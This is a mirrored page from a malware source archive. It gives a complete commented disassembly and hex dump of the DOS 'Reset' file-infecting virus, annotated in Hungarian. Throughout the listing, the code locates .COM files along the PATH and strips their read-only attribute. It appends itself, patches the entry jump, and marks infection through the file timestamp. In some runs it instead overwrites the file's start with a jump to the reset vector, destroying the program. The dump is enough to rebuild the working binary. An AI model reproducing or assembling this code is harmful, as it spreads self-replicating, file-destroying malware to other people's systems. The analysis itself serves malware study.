mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
571 lines
20 KiB
Plaintext
571 lines
20 KiB
Plaintext
Reset virus. Size 682 byte Hex: 02ac byte. Comment by Leslie Kovari
|
||
(41) 21-033
|
||
|
||
|
||
|
||
Unassemble list:
|
||
|
||
114E:0100 E91F00 JMP 0122 ;ugras a virus kezdetere
|
||
114E:0103 49 DEC CX
|
||
114E:0104 60 DB 60
|
||
114E:0105 61 DB 61
|
||
114E:0106 6D DB 6D
|
||
114E:0107 206120 AND [BX+DI+20],AH
|
||
114E:010A 52 PUSH DX
|
||
114E:010B 65 DB 65
|
||
114E:010C 7365 JNB 0173
|
||
114E:010E 7420 JZ 0130
|
||
114E:0110 56 PUSH SI
|
||
114E:0111 49 DEC CX
|
||
114E:0112 52 PUSH DX
|
||
114E:0113 55 PUSH BP
|
||
114E:0114 53 PUSH BX
|
||
114E:0115 2124 AND [SI],SP
|
||
114E:0117 BA0301 MOV DX,0103 ;az eredeti fertozott
|
||
;program kezdete
|
||
114E:011A B409 MOV AH,09
|
||
114E:011C CD21 INT 21 ;uzenet kepernyore
|
||
114E:011E B400 MOV AH,00
|
||
114E:0120 CD20 INT 20 ;exit to DOS
|
||
|
||
114E:0122 51 PUSH CX ;stack-en marad
|
||
|
||
;a kovetkezo utasitas operandusat fertozeskor
|
||
;allitja be, igy mindig a helyes cimre mutat
|
||
|
||
114E:0123 BA1B03 MOV DX,031B
|
||
114E:0126 FC CLD ;elore
|
||
114E:0127 8BF2 MOV SI,DX
|
||
114E:0129 81C60A00 ADD SI,000A ;SI=031b eredeti 3 byte
|
||
114E:012D BF0001 MOV DI,0100 ;program eleje
|
||
114E:0130 B90300 MOV CX,0003 ;3 byte
|
||
114E:0133 F3 REPZ
|
||
114E:0134 A4 MOVSB ;eredeti JMP 117
|
||
;visszamasolasa
|
||
114E:0135 8BF2 MOV SI,DX
|
||
114E:0137 B430 MOV AH,30
|
||
114E:0139 CD21 INT 21 ;DOS verzio szam lekerd.
|
||
114E:013B 3C00 CMP AL,00
|
||
114E:013D 7503 JNZ 0142
|
||
114E:013F E9C701 JMP 0309 ;ha 00-as verzio akkor
|
||
;nem fertoz a virus s
|
||
;futtatja az eredeti
|
||
;programot
|
||
114E:0142 06 PUSH ES
|
||
114E:0143 B42F MOV AH,2F
|
||
114E:0145 CD21 INT 21 ;DTA. lekerdezese
|
||
114E:0147 899C0000 MOV [SI+0000],BX ;BX= 0080 offset
|
||
114E:014B 8C840200 MOV [SI+0002],ES ;eredeti DTA. mentese
|
||
114E:014F 07 POP ES
|
||
|
||
;DTA. beallitasa az ENTRY cimere /dir.-bol/
|
||
;ide masolja a find first a file adatait
|
||
|
||
114E:0150 BA5F00 MOV DX,005F ;DX=037a
|
||
114E:0153 90 NOP
|
||
114E:0154 03D6 ADD DX,SI
|
||
114E:0156 B41A MOV AH,1A
|
||
114E:0158 CD21 INT 21 ;DTA. letrehozasa
|
||
;037a-tol uj cimre
|
||
114E:015A 06 PUSH ES
|
||
114E:015B 56 PUSH SI
|
||
114E:015C 8E062C00 MOV ES,[002C] ;kornyezet szegmense
|
||
114E:0160 BF0000 MOV DI,0000 ;elejetol ES:DI fog a
|
||
;kovetkezo dir.-ra mu-
|
||
;tatni
|
||
114E:0163 5E POP SI
|
||
114E:0164 56 PUSH SI
|
||
114E:0165 81C61A00 ADD SI,001A ;ezen a cimen levo
|
||
;stringet keresi a
|
||
;kornyezetbe PATH
|
||
114E:0169 AC LODSB ;AL=DS:[SI],SI++
|
||
114E:016A B90080 MOV CX,8000 ;32 kbyte
|
||
114E:016D F2 REPNZ
|
||
114E:016E AE SCASB ;megkeresi a kovetke-
|
||
;zo P betut
|
||
114E:016F B90400 MOV CX,0004 ;a PATH feliratot keresi
|
||
114E:0172 AC LODSB
|
||
114E:0173 AE SCASB ;betunkent hasonlitja
|
||
114E:0174 75ED JNZ 0163 ;ha nem egyezik a DI.
|
||
;karakter /kov.betu/
|
||
114E:0176 E2FA LOOP 0172 ;egyezik beolvassa es
|
||
;osszehasonlitja a tobbi
|
||
;betut is
|
||
114E:0178 5E POP SI
|
||
114E:0179 07 POP ES ;ES:DI mutat az elso
|
||
;PATH-ra
|
||
114E:017A 89BC1600 MOV [SI+0016],DI ;a PATH= szo utani file
|
||
;spec. cimenek mentese
|
||
;PATH mutato
|
||
114E:017E 8BFE MOV DI,SI ;SI=031b
|
||
114E:0180 81C71F00 ADD DI,001F ;DI=033a
|
||
114E:0184 8BDE MOV BX,SI ;BX=031b ezutan BX mu-
|
||
;tat az adatokra
|
||
114E:0186 81C61F00 ADD SI,001F ;SI=033a
|
||
114E:018A 8BFE MOV DI,SI ;DI=033a
|
||
114E:018C EB3A JMP 01C8
|
||
|
||
;A kovetkezo PATH-ban megadott aldirectoryt
|
||
;File Path-ra masolja, igy a kovetkezo file-t
|
||
;ebben az aldirectoryban keresi
|
||
|
||
114E:018E 83BC160000 CMP WORD PTR [SI+0016],+00 ;
|
||
114E:0193 7503 JNZ 0198
|
||
114E:0195 E96301 JMP 02FB ;ha nincs osveny megadva
|
||
114E:0198 1E PUSH DS
|
||
114E:0199 56 PUSH SI
|
||
114E:019A 26 ES:
|
||
114E:019B 8E1E2C00 MOV DS,[002C] ;kornyezet szegmense
|
||
114E:019F 8BFE MOV DI,SI ;DI=033a
|
||
114E:01A1 26 ES:
|
||
114E:01A2 8BB51600 MOV SI,[DI+0016] ;a kornyezetbol a path
|
||
;masolasa ha az aktualis
|
||
;konyvtarban nem talalt
|
||
;fertozheto file-t
|
||
;a PATH= utanra mutat
|
||
;az SI
|
||
114E:01A6 81C71F00 ADD DI,001F
|
||
114E:01AA AC LODSB ;beolvas a kornyezetbol
|
||
;a 0029. byte-ot
|
||
114E:01AB 3C3B CMP AL,3B ;pontosvesszo ?
|
||
114E:01AD 740A JZ 01B9 ;igen
|
||
114E:01AF 3C00 CMP AL,00 ;PATH vege ? nem lesz
|
||
;tobb
|
||
114E:01B1 7403 JZ 01B6 ;igen
|
||
114E:01B3 AA STOSB ;letarol 033a-tol
|
||
114E:01B4 EBF4 JMP 01AA
|
||
|
||
114E:01B6 BE0000 MOV SI,0000
|
||
114E:01B9 5B POP BX ;BX=regi SI BX mutat
|
||
;az adatokra
|
||
114E:01BA 1F POP DS
|
||
114E:01BB 89B71600 MOV [BX+0016],SI
|
||
|
||
;a kovetkezo PATH-ban adott dir. mar atmasolva
|
||
|
||
114E:01BF 807DFF5C CMP BYTE PTR [DI-01],5C ; \ jel ?
|
||
114E:01C3 7403 JZ 01C8 ;igen
|
||
114E:01C5 B05C MOV AL,5C ;egyebkent \ iras
|
||
|
||
;egy aldir. kiertekelese, eloszor az aktualis, majd
|
||
;a file path -ra masolt aldir. vegignezese, fertozes
|
||
;DI a file path-ba irt aldir. neve utani poz.-ra mu-
|
||
;tat
|
||
|
||
;COM file keresese
|
||
|
||
114E:01C7 AA STOSB ;\ jel beirasa
|
||
114E:01C8 89BF1800 MOV [BX+0018],DI ;ide kell majd a
|
||
;file nevet masolni,
|
||
;az aldir. neve utan
|
||
114E:01CC 8BF3 MOV SI,BX ;SI=031b DI=033d
|
||
114E:01CE 81C61000 ADD SI,0010 ;SI=032b
|
||
114E:01D2 B90600 MOV CX,0006
|
||
114E:01D5 F3 REPZ
|
||
114E:01D6 A4 MOVSB ;a *.COM szoveg beirasa
|
||
;a PATH= szoveg utan
|
||
114E:01D7 8BF3 MOV SI,BX
|
||
114E:01D9 B44E MOV AH,4E ;a file adatai a DTA.
|
||
;alltal foglalt teru-
|
||
;letre
|
||
114E:01DB BA1F00 MOV DX,001F
|
||
114E:01DE 90 NOP
|
||
114E:01DF 03D6 ADD DX,SI
|
||
114E:01E1 B90300 MOV CX,0003
|
||
114E:01E4 CD21 INT 21 ;elso file bejegyzes ke-
|
||
;resese, az it. aktivi-
|
||
;zalasa utan felhozza a
|
||
;filemeretet, attrib.ot
|
||
;keletkezes datumat s
|
||
;idejet is!
|
||
114E:01E6 EB04 JMP 01EC ;vizsgalatra
|
||
114E:01E8 B44F MOV AH,4F
|
||
114E:01EA CD21 INT 21 ;kovetkezo file bejegy-
|
||
;zes keresese
|
||
114E:01EC 7302 JNB 01F0 ;ha nincs hiba
|
||
114E:01EE EB9E JMP 018E ;hiba eseten -ha nem
|
||
;talal tobb COM file-t
|
||
;mas aldirt keres
|
||
;mar talalt COM file-t, az adataival az entry fel
|
||
;van toltve, a file ellenorzese es fertozese
|
||
;kovetkezik
|
||
|
||
114E:01F0 8B847500 MOV AX,[SI+0075] ;a keletkezesi ido AX-be
|
||
;SI=0390
|
||
114E:01F4 241F AND AL,1F ;maszk 31 -el
|
||
114E:01F6 3C1F CMP AL,1F ;ha 31 akkor mar ferto-
|
||
;zott a file!
|
||
114E:01F8 74EE JZ 01E8 ;fertozott kovetkezo
|
||
;file-t keresi
|
||
114E:01FA 81BC790000FA CMP WORD PTR [SI+0079],FA00
|
||
114E:0200 77E6 JA 01E8 ;ha > a file meret
|
||
;64000 byte-nal
|
||
114E:0202 83BC79000A CMP WORD PTR [SI+0079],+0A
|
||
114E:0207 72DF JB 01E8 ;ha < 10 byte nal
|
||
114E:0209 8BBC1800 MOV DI,[SI+0018] ;DI=033a
|
||
|
||
;megvan a kivalasztott file
|
||
;a file nevet a filespec utan kell masolni
|
||
|
||
114E:020D 56 PUSH SI ;DI mutat a filespec.re,
|
||
;PATH=*.COM
|
||
114E:020E 81C67D00 ADD SI,007D ;SI=0398
|
||
|
||
114E:0212 AC LODSB ;atmasolja a filenevet
|
||
;/megkeresett elso v.
|
||
;x.edik bejegyzest/
|
||
114E:0213 AA STOSB
|
||
114E:0214 3C00 CMP AL,00 ;vegere ert ? nevle-
|
||
;zaro nullaig masol
|
||
114E:0216 75FA JNZ 0212 ;nem
|
||
114E:0218 5E POP SI ;SI ujra az adatokra mu-
|
||
;tat
|
||
;a file egyes eredeti informacioinak megorzese
|
||
;hogy a fertozese ne tunjon fel
|
||
;minek a file ATTR. megegyszer lekerdezni?
|
||
|
||
114E:0219 B80043 MOV AX,4300
|
||
114E:021C BA1F00 MOV DX,001F ;DS:DX = filespec.
|
||
114E:021F 90 NOP
|
||
114E:0220 03D6 ADD DX,SI ;DX=031b
|
||
114E:0222 CD21 INT 21 ;attributum lekerdezese
|
||
;7.6.5.4.3.2.1.0.
|
||
;x x a d v s h r
|
||
114E:0224 898C0800 MOV [SI+0008],CX ;attributum
|
||
114E:0228 B80143 MOV AX,4301
|
||
114E:022B 81E1FEFF AND CX,FFFE ;ha Read Only akkor ARC.
|
||
;ra valtoztatja
|
||
114E:022F BA1F00 MOV DX,001F
|
||
114E:0232 90 NOP
|
||
114E:0233 03D6 ADD DX,SI ;DX=033a
|
||
114E:0235 CD21 INT 21 ;attributum beallitasa
|
||
|
||
;file nyitasa
|
||
|
||
114E:0237 B8023D MOV AX,3D02
|
||
114E:023A BA1F00 MOV DX,001F
|
||
114E:023D 90 NOP
|
||
114E:023E 03D6 ADD DX,SI ;DS:DX = filespec.
|
||
114E:0240 CD21 INT 21 ;file nyitasa I/O ra
|
||
114E:0242 7303 JNB 0247
|
||
114E:0244 E9A500 JMP 02EC ;hiba eseten nincs
|
||
;fertozes
|
||
114E:0247 8BD8 MOV BX,AX ;handle
|
||
|
||
;a file idejenek lekerdezese de ez is megtalalhato az
|
||
;ENTRY teruleten
|
||
|
||
114E:0249 B80057 MOV AX,5700
|
||
114E:024C CD21 INT 21 ;file letrehozasi datum
|
||
;es ido bekerese
|
||
114E:024E 898C0400 MOV [SI+0004],CX ;ido CH-ora CL-perc
|
||
DH-sec DL-1/100
|
||
114E:0252 89940600 MOV [SI+0006],DX ;datum
|
||
114E:0256 B42C MOV AH,2C
|
||
114E:0258 CD21 INT 21 ;rendszerido bekerese
|
||
|
||
;annak eldontese hogy a filet tonkretegye-e
|
||
;ha a masodperc 7 akkor tonkreteszi /aktualis/
|
||
|
||
114E:025A 80E607 AND DH,07 ;sec = 7 ?
|
||
114E:025D 7510 JNZ 026F ;nem - nem tesz tonkre!
|
||
|
||
;file tonkretetele
|
||
|
||
114E:025F B440 MOV AH,40
|
||
114E:0261 B90500 MOV CX,0005
|
||
114E:0264 8BD6 MOV DX,SI ;reset
|
||
114E:0266 81C28A00 ADD DX,008A ;DX=03a7 : JMP F000:FFF0
|
||
114E:026A CD21 INT 21 ;file elejere ir 5 byte
|
||
;-ot a RESET re ugrast!
|
||
114E:026C EB65 JMP 02D3
|
||
|
||
114E:026E 90 NOP
|
||
|
||
;fertozes
|
||
;az eredeti 3 byte megorzese hogy kesobb meg futtatni
|
||
;lehessen
|
||
|
||
114E:026F B43F MOV AH,3F
|
||
114E:0271 B90300 MOV CX,0003
|
||
114E:0274 BA0A00 MOV DX,000A
|
||
114E:0277 90 NOP
|
||
114E:0278 03D6 ADD DX,SI ;DS:DX = puffer cima DTA
|
||
114E:027A CD21 INT 21 ;a program eredeti elso
|
||
;3 byte-jat beolvassa
|
||
114E:027C 7255 JB 02D3 ;ha hiba van
|
||
114E:027E 3D0300 CMP AX,0003 ;megvolt a 3 byte ?
|
||
114E:0281 7550 JNZ 02D3 ;nem
|
||
|
||
;file vegere allas az uj cimek kiszamitasa
|
||
|
||
114E:0283 B80242 MOV AX,4202
|
||
114E:0286 B90000 MOV CX,0000
|
||
114E:0289 BA0000 MOV DX,0000
|
||
114E:028C CD21 INT 21 ;file vegere pozicional
|
||
114E:028E 7243 JB 02D3 ;ha hiba volt -nem
|
||
;nagyon lehet hiba!
|
||
|
||
;file elejere irando JMP operandus kiszamitasa
|
||
|
||
114E:0290 8BC8 MOV CX,AX ;AX-ben filehossz
|
||
114E:0292 2D0300 SUB AX,0003 ;AX-ben eltolas a JMP
|
||
;utasitashoz amit a
|
||
;file elejere fog irni
|
||
;igy a JMP a file mos-
|
||
;tani vege utani bytera
|
||
;fog mutatni
|
||
114E:0295 89840E00 MOV [SI+000E],AX ;JMP cim
|
||
|
||
;az uj file-on beluli adatterulet cimenek ki-
|
||
;szamitasa es beallitasa
|
||
|
||
114E:0299 81C1F902 ADD CX,02F9 ;az uj file-on beluli
|
||
;adatteruletre mutat
|
||
114E:029D 8BFE MOV DI,SI
|
||
114E:029F 81EFF701 SUB DI,01F7 ;virus elso utasitasa-
|
||
;nak operandusanak
|
||
;cime
|
||
114E:02A3 890D MOV [DI],CX ;ide irja az adatterulet
|
||
;cimet
|
||
|
||
;file moge masolja magat
|
||
;filemutato a file vegere mutat
|
||
|
||
114E:02A5 B440 MOV AH,40
|
||
114E:02A7 B98802 MOV CX,0288 ;a VIRUS hossza
|
||
114E:02AA 8BD6 MOV DX,SI ;virus elso bytejara
|
||
;mutat
|
||
114E:02AC 81EAF901 SUB DX,01F9
|
||
114E:02B0 CD21 INT 21 ;a FERTOZES onmagat a
|
||
;program a fertozendo
|
||
;program moge irja
|
||
114E:02B2 721F JB 02D3 ;hiba eseten
|
||
114E:02B4 3D8802 CMP AX,0288 ;kiirta onmagat ?
|
||
114E:02B7 751A JNZ 02D3 ;igen
|
||
|
||
;az elso 3 byte atallitasa, egy file
|
||
;vegere mutato ugro utasitasra
|
||
|
||
114E:02B9 B80042 MOV AX,4200
|
||
114E:02BC B90000 MOV CX,0000
|
||
114E:02BF BA0000 MOV DX,0000
|
||
114E:02C2 CD21 INT 21 ;file pointer a vegere
|
||
114E:02C4 720D JB 02D3 ;ha volt hiba -nem le-
|
||
;het hiba!
|
||
114E:02C6 B440 MOV AH,40
|
||
114E:02C8 B90300 MOV CX,0003
|
||
114E:02CB 8BD6 MOV DX,SI
|
||
114E:02CD 81C20D00 ADD DX,000D ;DX=0329 ugro utasitasra
|
||
;mutat
|
||
114E:02D1 CD21 INT 21 ;3 byte kiirasa a fileba
|
||
|
||
;az eredeti ido -mar a fertozesjelzessel egyutt-
|
||
;visszaallitasa
|
||
|
||
114E:02D3 8B940600 MOV DX,[SI+0006] ;datum
|
||
114E:02D7 8B8C0400 MOV CX,[SI+0004] ;ido
|
||
114E:02DB 81E1E0FF AND CX,FFE0 ;sec=0 -felesleges!
|
||
114E:02DF 81C91F00 OR CX,001F ;sec=1f azaz 31, igy
|
||
;jelzi hogy mar ferto-
|
||
;zott egy file a SEC.
|
||
;-et 31-re allitja a
|
||
;file bejegyzesben
|
||
; hour | min. | sec.
|
||
;1111 1|111 111|0 0000
|
||
114E:02E3 B80157 MOV AX,5701
|
||
114E:02E6 CD21 INT 21 ;file keletk. ido beall.
|
||
|
||
;file zarasa
|
||
|
||
114E:02E8 B43E MOV AH,3E
|
||
114E:02EA CD21 INT 21 ;file zarasa
|
||
|
||
;eredeti attributum visszaallitasa
|
||
|
||
114E:02EC B80143 MOV AX,4301
|
||
114E:02EF 8B8C0800 MOV CX,[SI+0008] ;CX=0020 /ARC./
|
||
114E:02F3 BA1F00 MOV DX,001F
|
||
114E:02F6 90 NOP
|
||
|
||
;DTA. visszaallitasa az eredeti cimre
|
||
|
||
114E:02F7 03D6 ADD DX,SI
|
||
114E:02F9 CD21 INT 21 ;file attr. beallitasa
|
||
114E:02FB 1E PUSH DS
|
||
114E:02FC B41A MOV AH,1A
|
||
114E:02FE 8B940000 MOV DX,[SI+0000]
|
||
114E:0302 8E9C0200 MOV DS,[SI+0002]
|
||
114E:0306 CD21 INT 21 ;DTA. megadasa
|
||
114E:0308 1F POP DS
|
||
|
||
;az eredeti program futtatasa
|
||
|
||
114E:0309 59 POP CX
|
||
114E:030A 33C0 XOR AX,AX ;reg. nullazasa
|
||
114E:030C 33DB XOR BX,BX
|
||
114E:030E 33D2 XOR DX,DX
|
||
114E:0310 33F6 XOR SI,SI
|
||
114E:0312 BF0001 MOV DI,0100
|
||
114E:0315 57 PUSH DI ;elteszi a 0100 offsetet
|
||
;hogy a RET elo tudja
|
||
;venni es odaugrik
|
||
114E:0316 33FF XOR DI,DI
|
||
114E:0318 C2FFFF RET FFFF ;ugras a 0100-as offset-
|
||
;re, ott mar az eredeti
|
||
;JMP 117 utasitas van,
|
||
;igy vegrehajtodik az
|
||
;eredeti prg.
|
||
;SP- hogy minek ?
|
||
114E:031B 800046 ADD BYTE PTR [BX+SI],46
|
||
114E:031E 0D2001 OR AX,0120
|
||
114E:0321 2100 AND [BX+SI],AX
|
||
114E:0323 2000 AND [BX+SI],AL
|
||
114E:0325 EB15 JMP 033C
|
||
114E:0327 90 NOP
|
||
114E:0328 E91F00 JMP 034A
|
||
114E:032B 2A2E434F SUB CH,[4F43]
|
||
114E:032F 4D DEC BP
|
||
114E:0330 0028 ADD [BX+SI],CH
|
||
114E:0332 004703 ADD [BX+03],AL
|
||
114E:0335 50 PUSH AX
|
||
114E:0336 41 INC CX
|
||
114E:0337 54 PUSH SP
|
||
114E:0338 48 DEC AX
|
||
114E:0339 3D5245 CMP AX,4552
|
||
114E:033C 53 PUSH BX
|
||
114E:033D 45 INC BP
|
||
114E:033E 54 PUSH SP
|
||
114E:033F 2E CS:
|
||
114E:0340 43 INC BX
|
||
114E:0341 4F DEC DI
|
||
114E:0342 4D DEC BP
|
||
114E:0343 0000 ADD [BX+SI],AL
|
||
114E:0345 0000 ADD [BX+SI],AL
|
||
114E:0347 4D DEC BP
|
||
114E:0348 004449 ADD [SI+49],AL
|
||
114E:034B 54 PUSH SP
|
||
114E:034C 2E CS:
|
||
114E:034D 43 INC BX
|
||
114E:034E 4F DEC DI
|
||
114E:034F 4D DEC BP
|
||
114E:0350 0000 ADD [BX+SI],AL
|
||
114E:0352 2020 AND [BX+SI],AH
|
||
114E:0354 2020 AND [BX+SI],AH
|
||
114E:0356 2020 AND [BX+SI],AH
|
||
114E:0358 2020 AND [BX+SI],AH
|
||
114E:035A 2020 AND [BX+SI],AH
|
||
114E:035C 2020 AND [BX+SI],AH
|
||
114E:035E 2020 AND [BX+SI],AH
|
||
114E:0360 2020 AND [BX+SI],AH
|
||
114E:0362 2020 AND [BX+SI],AH
|
||
114E:0364 2020 AND [BX+SI],AH
|
||
114E:0366 2020 AND [BX+SI],AH
|
||
114E:0368 2020 AND [BX+SI],AH
|
||
114E:036A 2020 AND [BX+SI],AH
|
||
114E:036C 2020 AND [BX+SI],AH
|
||
114E:036E 2020 AND [BX+SI],AH
|
||
114E:0370 2020 AND [BX+SI],AH
|
||
114E:0372 2020 AND [BX+SI],AH
|
||
114E:0374 2020 AND [BX+SI],AH
|
||
114E:0376 2020 AND [BX+SI],AH
|
||
114E:0378 2020 AND [BX+SI],AH
|
||
114E:037A 013F ADD [BX],DI
|
||
114E:037C 3F AAS
|
||
114E:037D 3F AAS
|
||
114E:037E 3F AAS
|
||
114E:037F 3F AAS
|
||
114E:0380 3F AAS
|
||
114E:0381 3F AAS
|
||
114E:0382 3F AAS
|
||
114E:0383 43 INC BX
|
||
114E:0384 4F DEC DI
|
||
114E:0385 4D DEC BP
|
||
114E:0386 0301 ADD AX,[BX+DI]
|
||
114E:0388 0000 ADD [BX+SI],AL
|
||
114E:038A 002E8B26 ADD [268B],CH
|
||
114E:038E 68 DB 68
|
||
114E:038F 2020 AND [BX+SI],AH
|
||
114E:0391 0121 ADD [BX+DI],SP
|
||
114E:0393 0022 ADD [BP+SI],AH
|
||
114E:0395 0000 ADD [BX+SI],AL
|
||
114E:0397 005245 ADD [BP+SI+45],DL
|
||
114E:039A 53 PUSH BX
|
||
114E:039B 45 INC BP
|
||
114E:039C 54 PUSH SP
|
||
114E:039D 2E CS:
|
||
114E:039E 43 INC BX
|
||
114E:039F 4F DEC DI
|
||
114E:03A0 4D DEC BP
|
||
114E:03A1 0000 ADD [BX+SI],AL
|
||
114E:03A3 4D DEC BP
|
||
114E:03A4 00EA ADD DL,CH
|
||
114E:03A6 F0 LOCK
|
||
114E:03A7 FF00 INC WORD PTR [BX+SI]
|
||
114E:03A9 F0 LOCK
|
||
114E:03AA 16 PUSH SS
|
||
114E:03AB 7C14 JL 03C1
|
||
|
||
Dump list:
|
||
|
||
114E:0000 CD 20 00 A0 00 9A F0 FE-1D F0 F4 02 84 0D 2F 03 . ............/.
|
||
114E:0010 84 0D BC 02 84 0D 4C 0D-01 03 01 00 02 FF FF FF ......L.........
|
||
114E:0020 FF FF FF FF FF FF FF FF-FF FF FF FF 44 11 4C 01 ............D.L.
|
||
114E:0030 BE 10 14 00 18 00 4E 11-FF FF FF FF 00 00 00 00 ......N.........
|
||
114E:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||
114E:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 .!...........
|
||
114E:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
|
||
114E:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
|
||
114E:0080 01 20 0D 65 73 65 74 76-2E 63 6F 6D 20 0D 63 3A . .esetv.com .c:
|
||
114E:0090 0D 65 6B 5C 64 62 61 73-65 3B 63 3A 5C 6E 79 65 .ek\dbase;c:\nye
|
||
114E:00A0 6C 76 65 6B 5C 63 6C 69-70 70 65 72 3B 63 3A 5C lvek\clipper;c:\
|
||
114E:00B0 6E 79 65 6C 76 65 6B 5C-66 6C 61 73 68 3B 63 3A nyelvek\flash;c:
|
||
114E:00C0 5C 6E 79 65 6C 76 65 6B-5C 70 61 73 63 61 6C 3B \nyelvek\pascal;
|
||
114E:00D0 63 3A 5C 75 74 69 6C 0D-00 00 00 00 00 00 00 00 c:\util.........
|
||
114E:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||
114E:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
|
||
114E:0100 E9 1F 00 49 60 61 6D 20-61 20 52 65 73 65 74 20 ...I`am a Reset
|
||
114E:0110 56 49 52 55 53 21 24 BA-03 01 B4 09 CD 21 B4 00 VIRUS!$......!..
|
||
114E:0120 CD 20 51 BA 1B 03 FC 8B-F2 81 C6 0A 00 BF 00 01 . Q.............
|
||
114E:0130 B9 03 00 F3 A4 8B F2 B4-30 CD 21 3C 00 75 03 E9 ........0.!<.u..
|
||
114E:0140 C7 01 06 B4 2F CD 21 89-9C 00 00 8C 84 02 00 07 ..../.!.........
|
||
114E:0150 BA 5F 00 90 03 D6 B4 1A-CD 21 06 56 8E 06 2C 00 ._.......!.V..,.
|
||
114E:0160 BF 00 00 5E 56 81 C6 1A-00 AC B9 00 80 F2 AE B9 ...^V...........
|
||
114E:0170 04 00 AC AE 75 ED E2 FA-5E 07 89 BC 16 00 8B FE ....u...^.......
|
||
114E:0180 81 C7 1F 00 8B DE 81 C6-1F 00 8B FE EB 3A 83 BC .............:..
|
||
114E:0190 16 00 00 75 03 E9 63 01-1E 56 26 8E 1E 2C 00 8B ...u..c..V&..,..
|
||
114E:01A0 FE 26 8B B5 16 00 81 C7-1F 00 AC 3C 3B 74 0A 3C .&.........<;t.<
|
||
114E:01B0 00 74 03 AA EB F4 BE 00-00 5B 1F 89 B7 16 00 80 .t.......[......
|
||
114E:01C0 7D FF 5C 74 03 B0 5C AA-89 BF 18 00 8B F3 81 C6 }.\t..\.........
|
||
114E:01D0 10 00 B9 06 00 F3 A4 8B-F3 B4 4E BA 1F 00 90 03 ..........N.....
|
||
114E:01E0 D6 B9 03 00 CD 21 EB 04-B4 4F CD 21 73 02 EB 9E .....!...O.!s...
|
||
114E:01F0 8B 84 75 00 24 1F 3C 1F-74 EE 81 BC 79 00 00 FA ..u.$.<.t...y...
|
||
114E:0200 77 E6 83 BC 79 00 0A 72-DF 8B BC 18 00 56 81 C6 w...y..r.....V..
|
||
114E:0210 7D 00 AC AA 3C 00 75 FA-5E B8 00 43 BA 1F 00 90 }...<.u.^..C....
|
||
114E:0220 03 D6 CD 21 89 8C 08 00-B8 01 43 81 E1 FE FF BA ...!......C.....
|
||
114E:0230 1F 00 90 03 D6 CD 21 B8-02 3D BA 1F 00 90 03 D6 ......!..=......
|
||
114E:0240 CD 21 73 03 E9 A5 00 8B-D8 B8 00 57 CD 21 89 8C .!s........W.!..
|
||
114E:0250 04 00 89 94 06 00 B4 2C-CD 21 80 E6 07 75 10 B4 .......,.!...u..
|
||
114E:0260 40 B9 05 00 8B D6 81 C2-8A 00 CD 21 EB 65 90 B4 @..........!.e..
|
||
114E:0270 3F B9 03 00 BA 0A 00 90-03 D6 CD 21 72 55 3D 03 ?..........!rU=.
|
||
114E:0280 00 75 50 B8 02 42 B9 00-00 BA 00 00 CD 21 72 43 .uP..B.......!rC
|
||
114E:0290 8B C8 2D 03 00 89 84 0E-00 81 C1 F9 02 8B FE 81 ..-.............
|
||
114E:02A0 EF F7 01 89 0D B4 40 B9-88 02 8B D6 81 EA F9 01 ......@.........
|
||
114E:02B0 CD 21 72 1F 3D 88 02 75-1A B8 00 42 B9 00 00 BA .!r.=..u...B....
|
||
114E:02C0 00 00 CD 21 72 0D B4 40-B9 03 00 8B D6 81 C2 0D ...!r..@........
|
||
114E:02D0 00 CD 21 8B 94 06 00 8B-8C 04 00 81 E1 E0 FF 81 ..!.............
|
||
114E:02E0 C9 1F 00 B8 01 57 CD 21-B4 3E CD 21 B8 01 43 8B .....W.!.>.!..C.
|
||
114E:02F0 8C 08 00 BA 1F 00 90 03-D6 CD 21 1E B4 1A 8B 94 ..........!.....
|
||
114E:0300 00 00 8E 9C 02 00 CD 21-1F 59 33 C0 33 DB 33 D2 .......!.Y3.3.3.
|
||
114E:0310 33 F6 BF 00 01 57 33 FF-C2 FF FF 80 00 46 0D 20 3....W3......F.
|
||
114E:0320 01 21 00 20 00 EB 15 90-E9 1F 00 2A 2E 43 4F 4D .!. .......*.COM
|
||
114E:0330 00 28 00 47 03 50 41 54-48 3D 52 45 53 45 54 2E .(.G.PATH=RESET.
|
||
114E:0340 43 4F 4D 00 00 00 00 4D-00 44 49 54 2E 43 4F 4D COM....M.DIT.COM
|
||
114E:0350 00 00 20 20 20 20 20 20-20 20 20 20 20 20 20 20 ..
|
||
114E:0360 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20
|
||
114E:0370 20 20 20 20 20 20 20 20-20 20 01 3F 3F 3F 3F 3F .?????
|
||
114E:0380 3F 3F 3F 43 4F 4D 03 01-00 00 00 2E 8B 26 68 20 ???COM.......&h
|
||
114E:0390 20 01 21 00 22 00 00 00-52 45 53 45 54 2E 43 4F .!."...RESET.CO
|
||
114E:03A0 4D 00 00 4D 00 EA F0 FF-00 F0 16 7C 14 M..M.......|.
|
||
|
||
|